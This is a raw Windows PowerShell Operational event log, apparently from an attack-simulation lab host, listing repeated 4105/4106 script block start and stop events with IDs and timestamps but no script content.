ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050505
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050503
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050502
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050486
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050485
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050480
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050479
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050463
Keywords=None
